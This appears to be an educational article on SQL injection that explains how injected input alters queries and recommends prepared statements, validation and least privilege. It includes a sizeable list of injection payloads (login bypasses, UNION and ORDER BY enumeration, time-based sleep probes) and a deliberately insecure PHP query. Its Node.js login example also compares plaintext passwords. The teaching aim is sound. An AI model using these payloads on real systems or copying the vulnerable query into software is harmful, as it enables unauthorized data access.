🔑 SQL-Injections - The problematic Truth

Dangerous

SQL injection (SQLi) is one of the most common and dangerous vulnerabilities that can occur in web applications. It occurs when an attacker can inject poorly validated input directly into a SQL database query to alter the structure of the query. This allows the attacker to take control of the database, retrieve sensitive data, or tamper with the database.

How does SQL injection work?

SQL injection occurs when user input (e.g. from a form field) is inserted into a SQL query without being properly sanitized or parameterized. The attacker can inject special SQL code as input into a field, which is then “misunderstood” by the database and alters the intended query.

Example:

Suppose you have a SQL query that looks for a username in a database:

SELECT * FROM users WHERE username = 'username';

If the user enters the name “admin”, the query works as expected:

SELECT * FROM users WHERE username = 'admin';

But with a SQL injection, the attacker could enter:

admin' --

The resulting SQL query now looks like this:

SELECT * FROM users WHERE username = 'admin' -- ';

The -- in SQL is considered a comment, ignoring the rest of the query. This change could let the attacker log into the system without requiring a password.

Common SQL Injection Payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+		addition, concatenate (or space in url)
||		(double pipe) concatenate
%		wildcard attribute indicator

@variable	local variable
@@variable	global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1	

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#	    Hash comment
/*  	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	    Backtick

Possible consequences of an SQL injection:

• Data theft: Attackers can retrieve confidential data such as user names, passwords, credit card information.
• Manipulation of data: Attackers can change, delete or add new data to existing data.
• Complete database control: In serious cases, the attacker can compromise the entire database and even access the underlying system.

How do you protect yourself against SQL injection?

1. Use prepared statements and parameter binding: This ensures that user input is not interpreted as part of the SQL query.
   • Example with PHP and PDO:

     $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
     $stmt->execute([$username]);
     

2. Input validation and sanitization: Check and sanitize all user input before it is included in an SQL query.

3. Use ORM systems: Object-Relational Mapping (ORM) frameworks such as Hibernate or Sequelize abstract SQL queries and can prevent SQL injection.

4. Use minimal database privileges: Give your applications only the minimal database privileges they need to limit the impact of a successful attack.

5. Update software and database management systems regularly: Many SQL injection vulnerabilities arise from outdated software. Keep your systems up to date.

SQL handling in NodeJS

Here is the source code for a NodeJS application that uses SQL handling to prevent SQL injections from reaching the database:

// Backend in Node.js with Express and a MySQL database
const express = require('express');
const mysql = require('mysql2');
const app = express();

// Establish a connection to the database
const db = mysql.createConnection({
    host: 'localhost',
    user: 'root',
    password: '',
    database: 'testdb'
});

// Middleware for processing JSON data
app.use(express.json());

// Route for the login
app.post('/api/login', (req, res) => {
    const {
        username,
        password
    } = req.body;

    // Use prepared statements to prevent SQL injection
    const query = "SELECT * FROM users WHERE username = ? AND password = ?";

    // Use parameters to process user input safely
    db.execute(query, [username, password], (err, results) => {
        if (err) {
            return res.status(500).send('Error in the database query');
        }

        if (results.length > 0) {
            res.status(200).send('Login successful');
        } else {
            res.status(401).send('Invalid login data');
        }
    });
});

// Start server
app.listen(3000, () => {
    console.log('Server is running on http://localhost:3000');
});

How does a hacker gain access to an SQL query? The client shields the SQL logic, doesn’t it?

That’s a very good question! It’s true that in most web applications the client (e.g. the browser) does not have direct access to the SQL database. Instead, communication takes place via a server-side application that accepts requests from the client, sends SQL queries to the database and returns the result to the client. SQL injection therefore does not happen directly on the client side, but via the interfaces between the client and the database that the server-side application provides.

Here is the process of how a hacker can gain access to SQL queries through SQL injection, despite the “shielding” provided by the application:

1. User input

Web applications often accept user input, whether through forms, search fields or URL parameters. This input is sent to the server to be incorporated into SQL queries.

2. Incorrect processing of input on the server side

If the application does not properly validate or sanitize this user input, it can be inserted directly into a SQL query. Attackers exploit this moment by inserting special SQL code into the input fields or URL parameters.

Example of an insecure query:

$query = "SELECT * FROM users WHERE username = '" . $_GET['username'] . "' AND password = '" . $_GET['password'] . "'";

Here, the user input is incorporated directly into the SQL query without being checked. An attacker could use a manipulative input like admin' OR '1'='1.

3. SQL query is modified

If the attacker inserts malicious SQL code into the input fields, this code modifies the intended SQL query. In the example above, the SQL query after inserting this input could look like this:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';

The OR '1'='1' is always true, so the database could return all users - or log the attacker in, even without correct credentials.

4. SQL query is sent to the database

Since the SQL code is executed “blindly” by the database, the attacker may be able to extract confidential data or otherwise gain control of the database through this manipulated SQL query. The server sends the query to the database, and the database executes it as if it were a regular request.

Important: The client (e.g. the browser) does not see the SQL logic directly. But the server executes the SQL query and returns the result, which is then sent to the client. The attacker thus indirectly changes the SQL query by manipulating the user input.

5. Results are returned to the client

As soon as the database processes the manipulated query, the attacker can, for example, obtain confidential data, gain admin rights, or even change the entire database structure - depending on how serious the security vulnerability is.

Why can the client indirectly influence SQL queries?

• Dynamic queries: SQL queries are often dynamically compiled from user input. If this input is not properly “cleaned” (i.e. not checked or filtered), the attacker can inject code that then becomes part of the SQL query.

• Lack of security precautions: Developers who do not use prepared statements or parameterized queries expose their applications to a higher risk. If the user input is incorporated directly into an SQL query, it can manipulate the logic of the query.

Protection measures against SQL injection

1. Prepared statements and parameter binding: The use of prepared statements ensures that user input is always interpreted as data and not as part of the SQL code.

Example in PHP:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);

1. Input validation: All user input should be validated to ensure that it contains the expected values ​​(e.g. no SQL commands).

2. Input sanitization: Sanitize user input before inserting it into an SQL query. Remove or soften malicious characters to prevent potential malicious code.

3. Minimal necessary privileges: Give the application only as much access to the database as is absolutely necessary. This way you can minimize the potential damage of an attack.

4. Avoid dynamic SQL queries: Use parameterized queries as often as possible instead of dynamic SQL queries that incorporate user input directly into the query.

Can prepared statements also be applied client-side?

Prepared statements are usually applied on the server-side, especially in server-side programming languages ​​such as PHP, Java, Python, etc., to prevent SQL injection attacks. The reason for this is that the client does not have direct access to the database. Communication between the client and the database is done through a server-side application.

On the client-side (in the browser), you cannot execute SQL queries directly on a database, and therefore there is no use of prepared statements in the classic SQL sense. In client-side environments such as JavaScript, which run in the browser, it is not common to access SQL databases. Instead, data is sent via HTTP requests to APIs, which are then processed on the server-side.

Exception: Client-side databases (e.g. IndexedDB in web browsers)

However, there are databases that run on the client side in the browser, such as IndexedDB or WebSQL (although WebSQL is now deprecated and no longer supported). In such cases, you can use mechanisms similar to prepared statements to ensure that input is processed correctly.

Example: Prepared Statements in WebSQL (deprecated)

WebSQL allows SQL queries directly in the browser, but it has now been classified as deprecated. There is still the possibility of performing parameterizations, which is similar to the way prepared statements work.

var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
var userInput = 'admin'; // This is an example of user input

db.transaction(function(tx) {
    tx.executeSql('SELECT * FROM users WHERE username = ?', [userInput], function(tx, results) {
        console.log("Result: ", results.rows.length);
    });
});

In this example, WebSQL uses the question mark (?) as a placeholder that is replaced by the user input. This is similar to prepared statements because the user input is not interpreted as SQL code, just as data.

Example: IndexedDB (modern, client-side database in the browser)

IndexedDB is a client-side store used in modern browsers and does not provide SQL syntax. However, it follows similar security principles as prepared statements because user input is not directly linked to SQL statements.

var request = indexedDB.open("myDatabase", 1);
request.onsuccess = function(event) {
  var db = event.target.result;
  var transaction = db.transaction(["users"], "readonly");
  var objectStore = transaction.objectStore("users");
  // Example of a query for a username
  var userInput = "admin"; // This is an example of user input
  var request = objectStore.get(userInput);
  request.onsuccess = function(event) {
    if (request.result) {
      console.log("User found: ", request.result);
    } else {
      console.log("User not found");
    }
  };
};

There is no direct SQL query here, but the user’s input is safely processed without affecting the structure of a query.